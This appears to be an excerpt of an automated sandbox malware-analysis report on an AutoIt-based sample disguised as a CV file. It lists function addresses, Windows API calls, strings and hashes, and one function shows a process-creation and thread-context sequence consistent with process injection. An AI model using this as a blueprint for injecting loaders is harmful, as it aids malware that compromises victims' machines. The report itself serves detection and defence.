Instruction ID: cf1c9962def10ee0c91bd8ca9f31f5bf552b15f61f2574c76b1026a8e45b186c
Opcode Fuzzy Hash: b35e1bfc1acb9c5d26a708896ac233208cadea66ed2cf55711671f6bce3eadb5
Instruction Fuzzy Hash: FA4177F4100349ABEB177FA8ED4AF7A3A59F701B00F000175FA02D66A1CB79DE809329

Function 00383E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00383E79
LoadCursorW.USER32(00000000,00007F00), ref: 00383E88
LoadIconW.USER32(00000063), ref: 00383E9E
LoadIconW.USER32(000000A4), ref: 00383EB0
LoadIconW.USER32(000000A2), ref: 00383EC2

Part of subcall function 00384024: LoadImageW.USER32(00380000,00000063,00000001,00000010,00000010,00000000), ref: 00384048

RegisterClassExW.USER32(?), ref: 00383F30

Part of subcall function 00383F53: GetSysColorBrush.USER32(0000000F), ref: 00383F86
Part of subcall function 00383F53: RegisterClassExW.USER32(00000030), ref: 00383FB0
Part of subcall function 00383F53: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00383FC1
Part of subcall function 00383F53: InitCommonControlsEx.COMCTL32(?), ref: 00383FDE
Part of subcall function 00383F53: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00383FEE
Part of subcall function 00383F53: LoadIconW.USER32(000000A9), ref: 00384004
Part of subcall function 00383F53: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00384013

Strings

AutoIt v3, xrefs: 00383F1F
#, xrefs: 00383F09
0, xrefs: 00383F02

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 003a5b9bb10e9c263afc52fdb93a6fff57c01ffc607c70ca14d89bad3ab4727a
Instruction ID: 61ebb630dc9ea168a75535fce7712e35e5022d9072846d4182bf1f887574375b
Opcode Fuzzy Hash: 003a5b9bb10e9c263afc52fdb93a6fff57c01ffc607c70ca14d89bad3ab4727a
Instruction Fuzzy Hash: 0F2148B8D00314ABCB11DFA9ED49A9ABBF5EB4D710F00423AE204A72B1D37546848B99

Function 019FC608 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 019FC6D9
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 019FC8FF

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
Instruction ID: e139536adf7dc8f8b8ac0a3fed69f2571d04427afd754a96d7175ad3a3e02cbc
Opcode Fuzzy Hash: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
Instruction Fuzzy Hash: E1A11570E0020DEBDB14CFA4C898FEEBBB5BF48315F208559E605BB280D7759A40CB51

Function 003849FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00384A1D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 003F41DB
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 003F421A
RegCloseKey.ADVAPI32(?), ref: 003F4249

Strings

Software\AutoIt v3\AutoIt, xrefs: 00384A13
Include, xrefs: 003F41D3, 003F4212

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: 8f18f92e09fc58f819a5689b0d707cfde740304101923e6dea0ccd3c5e565c4b
Instruction ID: 2ef19eb08fd07027444170b8ce9c8a4c4d000a694f34d8569834db00da13d7c8
Opcode Fuzzy Hash: 8f18f92e09fc58f819a5689b0d707cfde740304101923e6dea0ccd3c5e565c4b
Instruction Fuzzy Hash: 0F114FB1A00209BFEB05AFA4CD86EFF7BBCEF04744F104465B506E6191EA709E45D754

Function 003836B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 003836E6
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00383707
ShowWindow.USER32(00000000,?,?,?,?,00383AA3,?), ref: 0038371B
ShowWindow.USER32(00000000,?,?,?,?,00383AA3,?), ref: 00383724

Strings

AutoIt v3, xrefs: 003836DE, 003836E3, 003836E4
edit, xrefs: 00383701

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 3b080d01022619103221fa30741fd09a5820777bcec8d801d2c93d866d55a6f7
Instruction ID: f3b437d2d59d38f71e9825f48c3bcc3b5e0d6e007212ae749cd7f39e4958d335
Opcode Fuzzy Hash: 3b080d01022619103221fa30741fd09a5820777bcec8d801d2c93d866d55a6f7
Instruction Fuzzy Hash: 6AF0DA799802D07AE7315797AC48E672E7DDBC7F60B00402BBA04A25B0C66508D5DAB9

Function 019FC3A8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 019FC298: Sleep.KERNELBASE(000001F4), ref: 019FC2A9

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 019FC4F4

Strings

S9QGZGQ44JJHI9OSVB2OTAPRKK0QL, xrefs: 019FC557, 019FC55A

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateFileSleep
String ID: S9QGZGQ44JJHI9OSVB2OTAPRKK0QL
API String ID: 2694422964-3866275458
Opcode ID: c38dc96513b130cfe1ca0ee478eee48645807ec80440567d5d1d073cc8f2e332
Instruction ID: 9b835e0c802facea1620db7b792657759d7c5268dfc0dd269ca9cba703787442
Opcode Fuzzy Hash: c38dc96513b130cfe1ca0ee478eee48645807ec80440567d5d1d073cc8f2e332
Instruction Fuzzy Hash: 0C618430D0828CEAEF11D7F8C848BEEBB75AF15304F048599E6497B2C1D7B91A49CB65

Function 00384A30 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00385374: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00441148,?,003861FF,?,00000000,00000001,00000000), ref: 00385392

Part of subcall function 003849FB: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00384A1D

_wcscat.LIBCMT ref: 003F2D80
_wcscat.LIBCMT ref: 003F2DB5

Strings

\Include\, xrefs: 00384B0A
\, xrefs: 003F2DA2
8!D, xrefs: 00384B1C

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _wcscat$FileModuleNameOpen
String ID: 8!D$\$\Include\
API String ID: 3592542968-342886951
Opcode ID: cf2f25679fbb50cf7d6c292b66dba7a1f336d03ded5bdfc720d3544d1b2a44dd
Instruction ID: fd534b37f9e89074e08d8949fe0ceaab52ab684eeeb9991acdc70f0df9f4ce1b
Opcode Fuzzy Hash: cf2f25679fbb50cf7d6c292b66dba7a1f336d03ded5bdfc720d3544d1b2a44dd
Instruction Fuzzy Hash: 1151A7794043408FC706EF55DA828ABB3F8FF5A300B80457EF64497261EBB49544CB5A

Function 003851AF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0038522F
_wcscpy.LIBCMT ref: 00385283
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00385293
LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 003F3CB0

Strings

Line: , xrefs: 003F3CD9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memset_wcscpy
String ID: Line:
API String ID: 1053898822-1585850449
Opcode ID: 8f42cf81339608558aa521891f88933e29c84a2d5bd4f981a5f8d030894fc703
Instruction ID: ed569cdad507e6247f3eab9653aac2c07eb647cb4238d625ae5e1aa6dd299c21
Opcode Fuzzy Hash: 8f42cf81339608558aa521891f88933e29c84a2d5bd4f981a5f8d030894fc703
Instruction Fuzzy Hash: 7431F171008740AFD726FB60DC46FDEB7D8AF45310F00496EF585960A1EB74A688CB9A

Function 00384139 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258COMMON

Download Yara Rule

APIs

Part of subcall function 003841A9: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,003839FE,?,00000001), ref: 003841DB

_free.LIBCMT ref: 003F36B7
_free.LIBCMT ref: 003F36FE

Part of subcall function 0038C833: __wsplitpath.LIBCMT ref: 0038C93E
Part of subcall function 0038C833: _wcscpy.LIBCMT ref: 0038C953
Part of subcall function 0038C833: _wcscat.LIBCMT ref: 0038C968
Part of subcall function 0038C833: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 0038C978

Strings

Bad directive syntax error, xrefs: 003F36E4
>>>AUTOIT SCRIPT<<<, xrefs: 003F3491

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad__wsplitpath_wcscat_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 805182592-1757145024
Opcode ID: 99bef473f58c6c591be5b6fed98cc62b36a2ad1ebab591747bd5d3663a1f4a21
Instruction ID: 36c723c76b9409c7231d50b6585bec42f77e27c8072b7d949abdacdfb4c6f877
Opcode Fuzzy Hash: 99bef473f58c6c591be5b6fed98cc62b36a2ad1ebab591747bd5d3663a1f4a21
Instruction Fuzzy Hash: DD914D71910219AFCF06EFA4CC919FEB7B4BF19310F10446AF916EB291DB34AA45CB90

Function 003840E5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003F3725
GetOpenFileNameW.COMDLG32 ref: 003F376F

Part of subcall function 0038660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,003853B1,?,?,003861FF,?,00000000,00000001,00000000), ref: 0038662F

Part of subcall function 003840A7: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003840C6

Strings

t3C, xrefs: 003F3745
X, xrefs: 003F373E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X$t3C
API String ID: 3777226403-2841116392
Opcode ID: c7086f83e119d8c70f93f6dbd41c2735006bffc6327f056a70669cebbce762e8
Instruction ID: ce8c3d028eab9a229ef40c01aecdfc8fa0a4320c20f2d98529fdb62a74d181f0
Opcode Fuzzy Hash: c7086f83e119d8c70f93f6dbd41c2735006bffc6327f056a70669cebbce762e8
Instruction Fuzzy Hash: 1921A871A102989FCB02EFD4C8457EE7BFC9F49304F10805AE505AB241DBB89A898F65

Function 003A34AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__getstream.LIBCMT ref: 003A34FE

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

@_EH4_CallFilterFunc@8.LIBCMT ref: 003A3539
__wopenfile.LIBCMT ref: 003A3549

Strings

<G, xrefs: 003A34CD, 003A34F0, 003A34FC

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
String ID: <G
API String ID: 1820251861-2138716496
Opcode ID: 57818ee954a8f25d47224c2de040fc14617f9d8a1fddb35958c1f9c4e494aa48
Instruction ID: a03a5773d921ca0a4413df6842752cdf8fcd494c971a35c0dafd5c53ed7f81ed
Opcode Fuzzy Hash: 57818ee954a8f25d47224c2de040fc14617f9d8a1fddb35958c1f9c4e494aa48
Instruction Fuzzy Hash: 57110670E003069FDB13BF759C4266E76A8EF4B360B1A8925F815CF281EB34CA1197A1

Function 0039D298 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,0039D28B,SwapMouseButtons,00000004,?), ref: 0039D2BC
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,0039D28B,SwapMouseButtons,00000004,?,?,?,?,0039C865), ref: 0039D2DD
RegCloseKey.KERNELBASE(00000000,?,?,0039D28B,SwapMouseButtons,00000004,?,?,?,?,0039C865), ref: 0039D2FF

Strings

Control Panel\Mouse, xrefs: 0039D2BA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 21fa4614e57f62ee5f010e71d16c5cac838c2781b151e7dce7a5d0f603f6b7c2
Instruction ID: 94ff97d00000024f2ccbf78b299e0156f9e94a57cce83a85252530edbfa99b84
Opcode Fuzzy Hash: 21fa4614e57f62ee5f010e71d16c5cac838c2781b151e7dce7a5d0f603f6b7c2
Instruction Fuzzy Hash: 14117979A11208BFDF228FA8DC85EAF7BBCEF04744F004829E805E7110E731AE449B64

Function 019FB298 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 019FBA53
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 019FBAE9
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 019FBB0B

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
Instruction ID: ea35f7dc42210c5ad3a62c7d960dd2d708e419391faff05ca4553ed500cadc86
Opcode Fuzzy Hash: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
Instruction Fuzzy Hash: 86620B70A14218DBEB24DFA4C840BDEB776EF58301F1091A9D20DEB390E7759E85CB59

Function 003CC396 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00384517: _fseek.LIBCMT ref: 0038452F

Part of subcall function 003CC56D: _wcscmp.LIBCMT ref: 003CC65D
Part of subcall function 003CC56D: _wcscmp.LIBCMT ref: 003CC670

_free.LIBCMT ref: 003CC4DD
_free.LIBCMT ref: 003CC4E4
_free.LIBCMT ref: 003CC54F

Part of subcall function 003A1C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,003A7A85), ref: 003A1CB1
Part of subcall function 003A1C9D: GetLastError.KERNEL32(00000000,?,003A7A85), ref: 003A1CC3

_free.LIBCMT ref: 003CC557

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: acbc9bddfc27afc87d88584c9959c104a0ea567534d53ec5d359cc2505f852cb
Instruction ID: 8c99bb708a990126aec91a4fc97143bd57640a9c4893ce583a535f4305e703c6
Opcode Fuzzy Hash: acbc9bddfc27afc87d88584c9959c104a0ea567534d53ec5d359cc2505f852cb
Instruction Fuzzy Hash: 69514BB1904219AFDF169F65DC81BAEBBB9EF49310F1040AEF219E7241DB715E808F58

Function 0039EB83 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0039EBB2

Part of subcall function 003851AF: _memset.LIBCMT ref: 0038522F
Part of subcall function 003851AF: _wcscpy.LIBCMT ref: 00385283
Part of subcall function 003851AF: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00385293

KillTimer.USER32(?,00000001,?,?), ref: 0039EC07
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0039EC16
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 003F3C88

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 9f8fd00677377612e4b11c9e71375ea7d54f9798e2f2a655b2c49ea42ea884ab
Instruction ID: b429f07c91e78105cc713ed3ce52e1060bf64eebbc42b158aa3d54552947ea63
Opcode Fuzzy Hash: 9f8fd00677377612e4b11c9e71375ea7d54f9798e2f2a655b2c49ea42ea884ab
Instruction Fuzzy Hash: 3B21D474904784AFEB33DB68C859BE7BFEC9B01308F05049DE68E67282C3746A848B51

Function 003CC71A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 003CC72F
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 003CC746

Strings

aut, xrefs: 003CC740

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: e4a276316064a3d9ce343dd9c0296ee5b586aed19153b466a6c8f42944c4ae34
Instruction ID: 9043e2b6b43520536c18a4bccdc354cbed66883d9109b9c87404088ac5bbcc54
Opcode Fuzzy Hash: e4a276316064a3d9ce343dd9c0296ee5b586aed19153b466a6c8f42944c4ae34
Instruction Fuzzy Hash: F5D05E7190030EABDB10AB90DD0EF8A776C9B04704F0001A17650A50B1DAB4E6998B59

Function 003DF8AE Relevance: 4.9, APIs: 3, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af16c737b29f3cc76d9d97123809ec678ef192218ac28bb69efe988d5bf2eb57
Instruction ID: d1fac7cb59116db53849cd8df14f31f115bc4fbf5f1582afc2d222f5476a6fdf
Opcode Fuzzy Hash: af16c737b29f3cc76d9d97123809ec678ef192218ac28bb69efe988d5bf2eb57
Instruction Fuzzy Hash: 95F15A726083019FCB11DF24D881B6AB7E5BF88314F14896EF9969B392D770E945CF82

Function 00384FFC Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00385022
Shell_NotifyIconW.SHELL32(00000000,?), ref: 003850CB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 8b028a9a03a014d219e4d95bc5d98ed615be363d908a983d67e8d4c6fd4e2bfb
